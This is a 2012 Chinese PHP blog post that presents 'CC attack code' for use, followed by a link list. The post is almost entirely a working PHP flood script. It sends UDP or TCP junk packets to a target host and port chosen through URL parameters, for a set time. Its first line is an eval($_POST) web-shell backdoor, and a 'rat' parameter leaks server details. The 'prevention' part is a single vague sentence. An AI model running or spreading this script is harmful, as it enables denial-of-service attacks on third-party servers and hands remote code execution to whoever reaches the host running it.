php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
用libtemplate实现静态网页生成
Oct 09 PHP
PHP一些常用的正则表达式字符的一些转换
Jul 29 PHP
让PHP开发者事半功倍的十大技巧小结
Apr 20 PHP
php file_put_contents()功能函数(集成了fopen、fwrite、fclose)
May 24 PHP
php生成二维码的几种方式整理及使用实例
Jun 03 PHP
php自定义加密与解密程序实例
Dec 31 PHP
PHP中的socket_read和socket_recv区别详解
Feb 09 PHP
PHP中trim()函数简单使用指南
Apr 16 PHP
PHP处理postfix邮件内容的方法
Jun 16 PHP
[原创]解决wincache不支持64位PHP5.5/5.6的问题(提供64位wincache下载)
Jun 22 PHP
Ubuntu彻底删除PHP7.0的方法
Jul 27 PHP
解决PHP使用CURL发送GET请求时传递参数的问题
Oct 11 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
PHP.MVC的模板标签系统(一)
2006/09/05 PHP
MySQL GBK→UTF-8编码转换
2007/05/24 PHP
php 实现进制转换(二进制、八进制、十六进制)互相转换实现代码
2010/10/22 PHP
linux下使用ThinkPHP需要注意大小写导致的问题
2011/08/02 PHP
PHP中feof()函数实例测试
2014/08/23 PHP
Redis使用Eval多个键值自增的操作实例
2016/11/04 PHP
jquery photoFrame 图片边框美化显示插件
2010/06/28 Javascript
jquery实现心算练习代码
2010/12/06 Javascript
Highcharts 非常实用的Javascript统计图demo示例
2013/07/03 Javascript
jquery插件tytabs.jquery.min.js实现渐变TAB选项卡效果
2015/08/25 Javascript
JS生成和下载二维码的代码
2016/12/07 Javascript
socket.io学习教程之基础介绍(一)
2017/04/29 Javascript
vue使用svg文件补充-svg放大缩小操作(使用d3.js)
2020/09/22 Javascript
Vue如何实现变量表达式选择器
2021/02/18 Vue.js
[34:27]DOTA2上海特级锦标赛B组败者赛 VG VS Spirit第一局
2016/02/26 DOTA
Python解析网页源代码中的115网盘链接实例
2014/09/30 Python
python实现简单ftp客户端的方法
2015/06/28 Python
举例讲解Python中的身份运算符的使用方法
2015/10/13 Python
Django学习笔记之ORM基础教程
2018/03/27 Python
python读取csv和txt数据转换成向量的实例
2019/02/12 Python
python实现控制电脑鼠标和键盘,登录QQ的方法示例
2019/07/06 Python
python pygame实现滚动横版射击游戏城市之战
2019/11/25 Python
python已协程方式处理任务实现过程
2019/12/27 Python
Tensorflow限制CPU个数实例
2020/02/06 Python
Python实现名片管理系统
2020/02/14 Python
Python configparser模块配置文件过程解析
2020/03/03 Python
Python绘图之柱形图绘制详解
2020/07/28 Python
python+appium+yaml移动端自动化测试框架实现详解
2020/11/24 Python
利用python制作拼图小游戏的全过程
2020/12/04 Python
css3弹性盒模型(Flexbox)详细介绍
2014/10/08 HTML / CSS
结对共建协议书
2014/08/20 职场文书
党员先进事迹材料
2014/12/19 职场文书
入党积极分子党支部意见
2015/06/02 职场文书
Python绘画好看的星空图
2022/03/17 Python
win10更新失败无限重启解决方法
2022/04/19 数码科技
USB TYPE-C 或将成为所有智能手机充电标准
2022/04/21 数码科技